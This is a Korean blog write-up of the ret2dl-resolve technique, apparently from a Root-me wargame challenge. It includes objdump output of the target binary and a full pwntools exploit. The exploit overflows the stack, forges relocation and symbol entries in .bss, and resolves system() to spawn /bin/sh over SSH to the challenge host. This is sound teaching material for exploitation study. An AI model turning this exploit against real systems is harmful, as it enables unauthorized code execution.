return to dl resolve

2022. 11. 10. 15:38·Tips & theory
728x90
반응형

 - 서론

오랜만에 이론 글을 쓴다.

root me 문제를 풀다가 NX, Relro, ASLR로 인해 rop이 가능할 것으로 판단하였고,

이에 memory leak이 필요한데 출력관련 함수가 하나도 없었다.

아무리 ASLR이라도 1/4096 확률로 성공 가능할 것으로 판단했던 brute force 또한 먹히지 않았다.

결국 무슨 수를 써서라도 memory leak을 하거나 다른 방법을 택해야했다.

이는 그 중 한가지 방법이며, got에 실제 주소가 쓰여지는 방식 자체를 공략하는 것이다.

 

- 원리

관련 문제와 풀이는 아래와 같고, 이 글도 아래 문제를 기준으로 한다.

2022.11.09 - [Wargame/Root me] - [App-system] ELF x86 - Stack buffer overflow - ret2dl_resolve

 

와... 대충 이해는 되는데, 확실히 이해가 안된다.

사실 글을 꽤나 썼는데, 도저히 전체를 이해할 수 없어서 요약해서 쓰기로 했다.

got에 실제 주소가 쓰여지기 위해서

_dl_runtime_resolve() → _dl_fixup() → _dl_lookup_symbol_x() → do_lookup_x()→ check_match()

의 함수를 거쳐 가져오게 된다.

 

결국 실제 주소는 "함수의 이름"을 비교해서 가져오는 것이며,

함수의 이름은 파일의 string table을 통해 가져오게 된다.

또한 string table에는 여러 값이 들어있기 때문에 이를 offset을 통해 가져오는데, 이는 다시 symbol table을 참조한다.

이는 바이너리의 head만 보면 알 수 있는데, 각각 .dynstr과 .dynsym의 주소이다.

더불어 최종적으로 찾고하는 함수의 주소를 .rel.ptl의 주소를 참고한다.

app-systeme-ch77@challenge03:~$ objdump -x ch77

ch77:     file format elf32-i386
ch77
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048310

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r--
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000604 memsz 0x00000604 flags r-x
    LOAD off    0x00000f08 vaddr 0x08049f08 paddr 0x08049f08 align 2**12
         filesz 0x00000114 memsz 0x0000eb98 flags rw-
 DYNAMIC off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**2
         filesz 0x000000e8 memsz 0x000000e8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004e0 vaddr 0x080484e0 paddr 0x080484e0 align 2**2
         filesz 0x0000003c memsz 0x0000003c flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f08 vaddr 0x08049f08 paddr 0x08049f08 align 2**0
         filesz 0x000000f8 memsz 0x000000f8 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  INIT                 0x080482a8
  FINI                 0x080484c4
  INIT_ARRAY           0x08049f08
  INIT_ARRAYSZ         0x00000004
  FINI_ARRAY           0x08049f0c
  FINI_ARRAYSZ         0x00000004
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000004a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x0804a000
  PLTRELSZ             0x00000010
  PLTREL               0x00000011
  JMPREL               0x08048298
  REL                  0x08048290
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048270
  VERNEEDNUM           0x00000001
  VERSYM               0x08048266

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048154  08048154  00000154  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048188  08048188  00000188  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000020  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000050  080481cc  080481cc  000001cc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       0000004a  0804821c  0804821c  0000021c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000000a  08048266  08048266  00000266  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048270  08048270  00000270  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000008  08048290  08048290  00000290  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000010  08048298  08048298  00000298  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000023  080482a8  080482a8  000002a8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000030  080482d0  080482d0  000002d0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt.got      00000008  08048300  08048300  00000300  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         000001b2  08048310  08048310  00000310  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         00000014  080484c4  080484c4  000004c4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       00000008  080484d8  080484d8  000004d8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame_hdr 0000003c  080484e0  080484e0  000004e0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .eh_frame     000000e8  0804851c  0804851c  0000051c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 18 .init_array   00000004  08049f08  08049f08  00000f08  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .fini_array   00000004  08049f0c  08049f0c  00000f0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .jcr          00000004  08049f10  08049f10  00000f10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .dynamic      000000e8  08049f14  08049f14  00000f14  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got          00000004  08049ffc  08049ffc  00000ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .got.plt      00000014  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .data         00000008  0804a014  0804a014  00001014  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 25 .bss          0000ea80  0804a020  0804a020  0000101c  2**5
                  ALLOC
 26 .comment      00000023  00000000  00000000  0000101c  2**0
                  CONTENTS, READONLY
SYMBOL TABLE:
08048154 l    d  .interp        00000000              .interp
08048168 l    d  .note.ABI-tag  00000000              .note.ABI-tag
08048188 l    d  .note.gnu.build-id     00000000              .note.gnu.build-id
080481ac l    d  .gnu.hash      00000000              .gnu.hash
080481cc l    d  .dynsym        00000000              .dynsym
0804821c l    d  .dynstr        00000000              .dynstr
08048266 l    d  .gnu.version   00000000              .gnu.version
08048270 l    d  .gnu.version_r 00000000              .gnu.version_r
08048290 l    d  .rel.dyn       00000000              .rel.dyn
08048298 l    d  .rel.plt       00000000              .rel.plt
080482a8 l    d  .init  00000000              .init
080482d0 l    d  .plt   00000000              .plt
08048300 l    d  .plt.got       00000000              .plt.got
08048310 l    d  .text  00000000              .text
080484c4 l    d  .fini  00000000              .fini
080484d8 l    d  .rodata        00000000              .rodata
080484e0 l    d  .eh_frame_hdr  00000000              .eh_frame_hdr
0804851c l    d  .eh_frame      00000000              .eh_frame
08049f08 l    d  .init_array    00000000              .init_array
08049f0c l    d  .fini_array    00000000              .fini_array
08049f10 l    d  .jcr   00000000              .jcr
08049f14 l    d  .dynamic       00000000              .dynamic
08049ffc l    d  .got   00000000              .got
0804a000 l    d  .got.plt       00000000              .got.plt
0804a014 l    d  .data  00000000              .data
0804a020 l    d  .bss   00000000              .bss
00000000 l    d  .comment       00000000              .comment
00000000 l    df *ABS*  00000000              crtstuff.c
08049f10 l     O .jcr   00000000              __JCR_LIST__
08048370 l     F .text  00000000              deregister_tm_clones
080483a0 l     F .text  00000000              register_tm_clones
080483e0 l     F .text  00000000              __do_global_dtors_aux
0804a020 l     O .bss   00000001              completed.6712
08049f0c l     O .fini_array    00000000              __do_global_dtors_aux_fini_array_entry
08048400 l     F .text  00000000              frame_dummy
08049f08 l     O .init_array    00000000              __frame_dummy_init_array_entry
00000000 l    df *ABS*  00000000              ch77.c
00000000 l    df *ABS*  00000000              crtstuff.c
08048600 l     O .eh_frame      00000000              __FRAME_END__
08049f10 l     O .jcr   00000000              __JCR_END__
00000000 l    df *ABS*  00000000              
08049f0c l       .init_array    00000000              __init_array_end
08049f14 l     O .dynamic       00000000              _DYNAMIC
08049f08 l       .init_array    00000000              __init_array_start
080484e0 l       .eh_frame_hdr  00000000              __GNU_EH_FRAME_HDR
0804a000 l     O .got.plt       00000000              _GLOBAL_OFFSET_TABLE_
080484c0 g     F .text  00000002              __libc_csu_fini
00000000       F *UND*  00000000              read@@GLIBC_2.0
08048360 g     F .text  00000004              .hidden __x86.get_pc_thunk.bx
0804a014  w      .data  00000000              data_start
0804a040 g     O .bss   0000ea60              workaround
0804a01c g       .data  00000000              _edata
080484c4 g     F .fini  00000000              _fini
0804a014 g       .data  00000000              __data_start
00000000  w      *UND*  00000000              __gmon_start__
0804a018 g     O .data  00000000              .hidden __dso_handle
080484dc g     O .rodata        00000004              _IO_stdin_used
00000000       F *UND*  00000000              __libc_start_main@@GLIBC_2.0
08048460 g     F .text  0000005d              __libc_csu_init
08058aa0 g       .bss   00000000              _end
08048350 g     F .text  00000002              .hidden _dl_relocate_static_pie
08048310 g     F .text  00000000              _start
080484d8 g     O .rodata        00000004              _fp_hw
0804a01c g       .bss   00000000              __bss_start
0804842d g     F .text  0000002c              main
0804a01c g     O .data  00000000              .hidden __TMC_END__
080482a8 g     F .init  00000000              _init

 

전체적인 공격 구조는 fake structure를 만든 뒤 여기로 return하게하는 것이며,

이를 위해 필요한 주소는

.dynsym

.dynstr

.rel.plt

.plt

.bss

제공된 함수의 plt와 got address

가 된다.

 

대략적인 공격 코드는 아래와 같아지며, 나중에 필요할때 사용하는 함수나 프로그램 실행 후 overflow까지 도달하는 코드 등만 삽입하면 될 것으로 보인다.

from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('/challenge/app-systeme/ch77/ch77')
 
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt     = elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read   = elf.plt['read']
addr_got_read   = elf.got['read']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))
  
addr_pop3 = 0x080484b9
addr_pop_ebp = 0x080484bb
addr_leave_ret = 0x08048398
 
stack_size = 0x300
base_stage = addr_bss + stack_size
 
#read(0,base_stage,100)
#jmp base_stage
buf1 = b'A'* 0x1c
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
  
addr_fake_reloc  = base_stage + 20
addr_fake_sym    = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd    = addr_fake_symstr +7
  
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info       = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF    #FAKE ELF32_R_SYM
fake_r_info   = fake_r_info | 0x7                                   #FAKE ELF32_R_TYPE
fake_st_name      = addr_fake_symstr - addr_dynstr
 
log.info('')
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('addr_fake_cmd   : ' + hex(addr_fake_cmd))
log.info('addr_got_read   : ' + hex(addr_got_read))
log.info('fake_r_info   : ' + hex(fake_r_info))
log.info('fake_st_name   : ' + hex(fake_st_name))
 
#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = b'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += b'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read)
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += b'system\x00'
#String "/bin/sh"
buf2 += b'/bin/sh\x00'
  
binary = ELF(elf.path)
#p = process(binary.path)
p = ssh(user='app-systeme-ch77',host='challenge03.root-me.org',port=56577,password='app-systeme-ch77')
#p=remote('challenge03.root-me.org', 56577)
p.send(buf1)
p.send(buf2)
p.interactive()

 

- 결론

코드의 흐름 및 공격의 원리는 이해했는데, 실제로 모두 다 이해하지는 못했다...

vtable때도 이정도는 아니었는데...

 

그래도 코드를 기반으로 공격하는 것이기에 정형화된 공격 코드가 작성되는 문제이며,

추후에 동일 문제가 나오면 다시 시도해봐야겠다. 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Tips & theory' 카테고리의 다른 글

dockerfile for pwnable [2022-11-23]  (2) 2022.11.19
for "One"  (0) 2022.11.10
Continuous free bug (double free bug)  (0) 2022.10.06
source code site  (0) 2022.09.19
gdb core 파일이 생성되지 않을 때  (0) 2022.09.16
'Tips & theory' 카테고리의 다른 글
  • dockerfile for pwnable [2022-11-23]
  • for "One"
  • Continuous free bug (double free bug)
  • source code site
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (494) N
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (23) N
        • Theory (15)
        • Exercise (1) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    dreamhack
    root
    Buffer Overflow
    32bit
    heap
    la ctf
    phoenix
    RTL
    BOF
    pwntools
    hackerschool
    Me
    64bit
    lob
    x64
    libc
    Format String Bug
    FSB
    x86
    root-me
    exploit education
    pwnable.kr
    tcache
    rop
    CANARY
    _IO_FILE
    ROOT ME
    vtable
    cryptohack
    docker
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
return to dl resolve
상단으로

티스토리툴바